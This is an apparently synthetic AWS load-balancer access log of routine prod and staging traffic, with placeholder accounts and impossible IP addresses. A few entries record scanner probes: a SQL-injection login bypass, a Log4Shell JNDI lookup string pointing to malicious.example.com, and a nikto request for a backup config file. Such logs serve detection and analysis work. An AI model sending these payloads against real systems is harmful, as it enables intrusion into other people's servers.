0.144286 0.080600 0.003063 200 200 617 1395 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b930-5a3912dc16d6482da6435903" "staging-alb.example.com" "-" 5 2024-11-01T00:06:56.852018Z "forward" "-" "-" "51.66.75.116:443" "200" "-" "-" -https 2024-11-01T00:06:58.431463Z prod-api-alb 253.61.9.95:15772 10.0.118.120:443 0.058370 0.064329 0.050835 200 200 479 6339 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b932-36698152386246d885247046" "prod-api-alb.example.com" "-" 9 2024-11-01T00:06:58.431463Z "forward" "-" "-" "10.0.118.120:443" "200" "-" "-" -http 2024-11-01T00:07:00.391920Z staging-alb 25.165.95.230:23333 12.86.243.217:80 0.081640 0.061578 0.001746 301 301 199 6392 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b934-7846effad576432a9a195873" "staging-alb.example.com" "-" 7 2024-11-01T00:07:00.391920Z "forward" "-" "-" "12.86.243.217:80" "301" "-" "-" -https 2024-11-01T00:07:01.533781Z prod-web-alb 185.181.55.98:60611 10.0.82.188:443 0.085941 0.238034 0.039558 301 301 972 12653 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b935-84ac2e402d0e42b88ccfff2b" "-" "-" 9 2024-11-01T00:07:01.533781Z "forward" "-" "-" "10.0.82.188:443" "301" "-" "-" -https 2024-11-01T00:07:01.836513Z staging-alb 156.162.109.89:54725 11.46.224.70:8080 0.094585 0.119457 0.057537 200 200 177 2615 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b935-6395f089737040b4b3c703b4" "staging-alb.example.com" "-" 10 2024-11-01T00:07:01.836513Z "forward" "-" "-" "11.46.224.70:8080" "200" "-" "-" -http 2024-11-01T00:07:02.732605Z staging-alb 139.94.208.245:12415 62.109.118.22:80 0.081654 0.076787 0.143929 302 302 689 4635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b936-6ef98448609345588b38e5a5" "staging-alb.example.com" "-" 7 2024-11-01T00:07:02.732605Z "forward" "-" "-" "62.109.118.22:80" "302" "-" "-" -https 2024-11-01T00:07:04.551688Z staging-alb 8.142.134.199:16506 3.104.193.133:80 0.021411 0.606042 0.147763 200 200 857 3050 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b938-07276696dbdf48899389557d" "staging-alb.example.com" "-" 6 2024-11-01T00:07:04.551688Z "forward" "-" "-" "3.104.193.133:80" "200" "-" "-" -https 2024-11-01T00:07:05.582353Z prod-web-alb 182.114.125.254:62003 10.0.184.236:443 0.056978 0.256089 0.002574 200 200 807 10829 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b939-c7d88a6c88bc4558a9ba8895" "prod-web-alb.example.com" "-" 4 2024-11-01T00:07:05.582353Z "forward" "-" "-" "10.0.184.236:443" "200" "-" "-" -https 2024-11-01T00:07:05.902795Z prod-web-alb 253.60.70.227:29812 10.0.161.74:443 0.097513 0.387784 0.085181 200 200 632 2779 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b939-27ef6d5d2bb74d0cb8bc756c" "prod-web-alb.example.com" "-" 5 2024-11-01T00:07:05.902795Z "forward" "-" "-" "10.0.161.74:443" "200" "-" "-" -https 2024-11-01T00:07:06.933832Z prod-web-alb 36.88.169.48:24074 10.0.155.146:443 0.091913 0.407998 0.030349 301 301 124 4852 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b93a-12cdaa7c3689477eb147120e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:07:06.933832Z "forward" "-" "-" "10.0.155.146:443" "301" "-" "-" -https 2024-11-01T00:07:08.828561Z staging-alb 192.158.207.33:18644 200.164.234.63:443 0.004985 0.336571 0.142882 301 301 82 13483 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b93c-57735489e00741488b88f157" "-" "-" 6 2024-11-01T00:07:08.828561Z "forward" "-" "-" "200.164.234.63:443" "301" "-" "-" -https 2024-11-01T00:07:10.329629Z prod-web-alb 94.42.138.128:53826 10.0.80.191:443 0.011566 0.002334 0.018491 301 301 196 622 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b93e-c61848e73f474b26a0a181b4" "prod-web-alb.example.com" "-" 10 2024-11-01T00:07:10.329629Z "forward" "-" "-" "10.0.80.191:443" "301" "-" "-" -https 2024-11-01T00:07:11.566786Z staging-alb 142.119.203.147:14532 194.98.240.200:80 0.105371 0.615876 0.106436 200 200 745 11243 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b93f-d1250f6e74a549029cd6f9e2" "staging-alb.example.com" "-" 10 2024-11-01T00:07:11.566786Z "forward" "-" "-" "194.98.240.200:80" "200" "-" "-" -http 2024-11-01T00:07:13.359785Z staging-alb 191.214.243.76:25934 21.103.222.112:8080 0.125102 0.550776 0.071574 200 200 350 13077 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b941-fa52178313e540088e38c86a" "staging-alb.example.com" "-" 7 2024-11-01T00:07:13.359785Z "forward" "-" "-" "21.103.222.112:8080" "200" "-" "-" -https 2024-11-01T00:07:14.935529Z staging-alb 157.9.69.6:38367 49.124.141.94:8080 0.106566 0.410494 0.042846 302 302 37 2334 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b942-3c5882b6e9b5420bab38b223" "staging-alb.example.com" "-" 6 2024-11-01T00:07:14.935529Z "forward" "-" "-" "49.124.141.94:8080" "302" "-" "-" -https 2024-11-01T00:07:15.675856Z prod-api-alb 131.224.139.116:56279 10.0.78.193:443 0.039113 0.077507 0.061472 302 302 409 13917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b943-b4e11db6ebaa482e9e05d165" "prod-api-alb.example.com" "-" 4 2024-11-01T00:07:15.675856Z "forward" "-" "-" "10.0.78.193:443" "302" "-" "-" -https 2024-11-01T00:07:16.329632Z prod-api-alb 255.83.229.147:12333 10.0.82.248:443 0.000454 0.141553 0.000446 200 200 641 6676 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b944-3ec172f840ab474bb99b6f3f" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:16.329632Z "forward" "-" "-" "10.0.82.248:443" "200" "-" "-" -http 2024-11-01T00:07:18.141624Z staging-alb 1.221.82.217:18481 221.255.97.178:443 0.132554 0.344747 0.082682 200 200 518 3628 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b946-a45965aaf49c455bb3607f34" "staging-alb.example.com" "-" 4 2024-11-01T00:07:18.141624Z "forward" "-" "-" "221.255.97.178:443" "200" "-" "-" -https 2024-11-01T00:07:18.345725Z staging-alb 179.80.56.253:62113 90.116.227.137:80 0.130331 0.290219 0.080372 200 200 110 11961 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b946-b8f4e4aeea794e038bb40fec" "staging-alb.example.com" "-" 1 2024-11-01T00:07:18.345725Z "forward" "-" "-" "90.116.227.137:80" "200" "-" "-" -https 2024-11-01T00:07:19.927106Z prod-web-alb 94.68.209.227:22778 10.0.211.36:443 0.057517 0.029805 0.010603 200 200 920 9352 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b947-d00b8c753d4d4a8c95308e2e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:07:19.927106Z "forward" "-" "-" "10.0.211.36:443" "200" "-" "-" -https 2024-11-01T00:07:20.416049Z prod-web-alb 185.181.76.214:45646 10.0.59.40:443 0.054197 0.276361 0.032226 403 403 879 4151 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b948-605a2830dbb243f99be0880f" "-" "-" 6 2024-11-01T00:07:20.416049Z "forward" "-" "-" "10.0.59.40:443" "403" "-" "-" -https 2024-11-01T00:07:21.384619Z prod-web-alb 84.26.32.65:38070 10.0.132.244:443 0.037279 0.421195 0.069697 200 200 893 7058 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b949-6a02dce964a140eea23f17c5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:07:21.384619Z "forward" "-" "-" "10.0.132.244:443" "200" "-" "-" -https 2024-11-01T00:07:22.901831Z prod-api-alb 45.155.205.9:33172 10.0.190.48:443 0.045092 0.142787 0.098137 404 404 433 11529 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b94a-1a53da725a4d4732b656f9e4" "-" "-" 8 2024-11-01T00:07:22.901831Z "forward" "-" "-" "10.0.190.48:443" "404" "-" "-" -https 2024-11-01T00:07:23.650308Z prod-web-alb 163.27.93.139:61479 10.0.74.39:443 0.049280 0.231072 0.079335 404 404 58 5876 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b94b-66799f6af1e343f4a176b4f3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:23.650308Z "forward" "-" "-" "10.0.74.39:443" "404" "-" "-" -https 2024-11-01T00:07:25.274905Z prod-web-alb 124.65.248.9:59596 10.0.113.176:443 0.037441 0.478454 0.021078 200 200 673 11623 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b94d-1467ea8da0e849ea8ed145f2" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:25.274905Z "forward" "-" "-" "10.0.113.176:443" "200" "-" "-" -https 2024-11-01T00:07:26.371620Z prod-web-alb 221.118.241.158:54227 10.0.242.205:443 0.099279 0.022894 0.038740 301 301 3 12037 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b94e-204c4976296d483c8f8401c4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:07:26.371620Z "forward" "-" "-" "10.0.242.205:443" "301" "-" "-" -https 2024-11-01T00:07:26.862449Z prod-api-alb 220.3.145.140:12865 10.0.50.110:443 0.076024 0.179220 0.093866 404 404 800 13209 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b94e-26c493f68e59494e98adcc0b" "prod-api-alb.example.com" "-" 9 2024-11-01T00:07:26.862449Z "forward" "-" "-" "10.0.50.110:443" "404" "-" "-" -https 2024-11-01T00:07:27.890496Z staging-alb 8.232.74.15:16883 62.84.117.154:443 0.146259 0.095359 0.117741 404 404 394 4276 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b94f-e9eed633d12b492db8195bfc" "staging-alb.example.com" "-" 7 2024-11-01T00:07:27.890496Z "forward" "-" "-" "62.84.117.154:443" "404" "-" "-" -https 2024-11-01T00:07:29.628915Z prod-api-alb 154.97.113.14:55540 10.0.79.33:443 0.053461 0.090965 0.084278 200 200 184 7233 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b951-74f45235cdd44797a1147b99" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:29.628915Z "forward" "-" "-" "10.0.79.33:443" "200" "-" "-" -http 2024-11-01T00:07:31.626512Z staging-alb 1.13.207.118:32396 75.120.108.81:8080 0.148699 0.307987 0.063346 200 200 595 1273 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b953-b8fbe53d30a544cbb69c3fa2" "staging-alb.example.com" "-" 10 2024-11-01T00:07:31.626512Z "forward" "-" "-" "75.120.108.81:8080" "200" "-" "-" -https 2024-11-01T00:07:32.750881Z prod-api-alb 109.1.195.15:20767 10.0.216.196:443 0.081749 0.284931 0.081338 404 404 939 14419 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b954-e3e0a24dd45a47b2b6e19092" "prod-api-alb.example.com" "-" 2 2024-11-01T00:07:32.750881Z "forward" "-" "-" "10.0.216.196:443" "404" "-" "-" -https 2024-11-01T00:07:34.604626Z prod-api-alb 74.174.22.127:62678 10.0.170.59:443 0.074551 0.483522 0.044798 200 200 235 11226 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b956-a0aeca8830a34ae99fa63c7a" "prod-api-alb.example.com" "-" 5 2024-11-01T00:07:34.604626Z "forward" "-" "-" "10.0.170.59:443" "200" "-" "-" -https 2024-11-01T00:07:35.370873Z prod-web-alb 121.243.220.182:44982 10.0.160.170:443 0.032807 0.417164 0.013251 200 200 837 6618 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b957-259cd0e20b5b48e4b3c66cc2" "prod-web-alb.example.com" "-" 4 2024-11-01T00:07:35.370873Z "forward" "-" "-" "10.0.160.170:443" "200" "-" "-" -https 2024-11-01T00:07:37.066293Z prod-api-alb 155.228.110.247:12013 10.0.77.192:443 0.040087 0.203539 0.073419 200 200 995 8211 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b959-8b5aaa31a9be432ca5dd4d6f" "prod-api-alb.example.com" "-" 10 2024-11-01T00:07:37.066293Z "forward" "-" "-" "10.0.77.192:443" "200" "-" "-" -https 2024-11-01T00:07:38.414744Z prod-api-alb 244.11.78.96:46697 10.0.225.132:443 0.049848 0.369693 0.020935 200 200 589 2344 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b95a-434f0e54978642f88c900823" "prod-api-alb.example.com" "-" 1 2024-11-01T00:07:38.414744Z "forward" "-" "-" "10.0.225.132:443" "200" "-" "-" -http 2024-11-01T00:07:38.603901Z staging-alb 140.21.92.137:54390 9.89.210.238:443 0.107440 0.708087 0.077775 200 200 3 12467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b95a-7de59f63b4fd444eab1686e0" "staging-alb.example.com" "-" 3 2024-11-01T00:07:38.603901Z "forward" "-" "-" "9.89.210.238:443" "200" "-" "-" -https 2024-11-01T00:07:38.770730Z prod-api-alb 35.62.52.146:36093 10.0.13.90:443 0.090364 0.496677 0.062398 404 404 137 2426 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b95a-1776f0291edf4d0b870fcce5" "prod-api-alb.example.com" "-" 2 2024-11-01T00:07:38.770730Z "forward" "-" "-" "10.0.13.90:443" "404" "-" "-" -https 2024-11-01T00:07:40.480279Z staging-alb 130.76.110.150:11076 165.226.204.119:80 0.080069 0.237082 0.116687 200 200 656 9107 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95c-18af8503f338486b87030e30" "staging-alb.example.com" "-" 2 2024-11-01T00:07:40.480279Z "forward" "-" "-" "165.226.204.119:80" "200" "-" "-" -https 2024-11-01T00:07:41.213890Z staging-alb 33.90.20.152:23289 47.253.13.22:80 0.146069 0.719913 0.096334 200 200 480 12745 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b95d-0aaeeca9d7a74b149a283999" "staging-alb.example.com" "-" 10 2024-11-01T00:07:41.213890Z "forward" "-" "-" "47.253.13.22:80" "200" "-" "-" -https 2024-11-01T00:07:41.578582Z prod-api-alb 251.59.253.49:26189 10.0.60.25:443 0.037954 0.389860 0.040250 404 404 221 11837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b95d-4030f649089b4a8b913455be" "prod-api-alb.example.com" "-" 3 2024-11-01T00:07:41.578582Z "forward" "-" "-" "10.0.60.25:443" "404" "-" "-" -http 2024-11-01T00:07:42.286721Z staging-alb 147.175.35.112:39165 11.254.126.39:8080 0.147727 0.337016 0.078063 200 200 798 1835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95e-b77a61e597ac4735bcc1a28c" "staging-alb.example.com" "-" 10 2024-11-01T00:07:42.286721Z "forward" "-" "-" "11.254.126.39:8080" "200" "-" "-" -https 2024-11-01T00:07:42.738211Z staging-alb 189.199.229.231:51972 170.66.155.136:8080 0.003476 0.025930 0.048202 302 302 566 12845 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b95e-ab317220ca2544fa883af2a9" "staging-alb.example.com" "-" 5 2024-11-01T00:07:42.738211Z "forward" "-" "-" "170.66.155.136:8080" "302" "-" "-" -https 2024-11-01T00:07:44.244837Z staging-alb 183.66.61.175:41314 250.238.92.158:8080 0.142641 0.512114 0.028233 200 200 618 10407 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b960-b256ec9713b84534bf9e576e" "staging-alb.example.com" "-" 6 2024-11-01T00:07:44.244837Z "forward" "-" "-" "250.238.92.158:8080" "200" "-" "-" -https 2024-11-01T00:07:45.058144Z prod-api-alb 122.239.42.78:52895 10.0.107.15:443 0.027974 0.147834 0.005629 302 302 670 10232 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b961-c2d6f233f8f94148ad389643" "prod-api-alb.example.com" "-" 1 2024-11-01T00:07:45.058144Z "forward" "-" "-" "10.0.107.15:443" "302" "-" "-" -https 2024-11-01T00:07:45.745603Z staging-alb 102.158.251.204:19478 30.121.73.65:8080 0.044174 0.626562 0.024898 302 302 519 5131 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b961-47a16b320c974041aedebed2" "staging-alb.example.com" "-" 0 2024-11-01T00:07:45.745603Z "forward" "-" "-" "30.121.73.65:8080" "302" "-" "-" -https 2024-11-01T00:07:46.343472Z staging-alb 28.186.176.206:39728 215.0.119.43:443 0.090711 0.746389 0.025254 200 200 90 3559 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b962-7ba9c6d790d24453adbf0d56" "staging-alb.example.com" "-" 3 2024-11-01T00:07:46.343472Z "forward" "-" "-" "215.0.119.43:443" "200" "-" "-" -https 2024-11-01T00:07:47.445787Z prod-web-alb 139.122.209.106:51650 10.0.51.92:443 0.000303 0.240708 0.021539 200 200 540 8744 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b963-969bd012258f4cbba0f915e1" "prod-web-alb.example.com" "-" 9 2024-11-01T00:07:47.445787Z "forward" "-" "-" "10.0.51.92:443" "200" "-" "-" -https 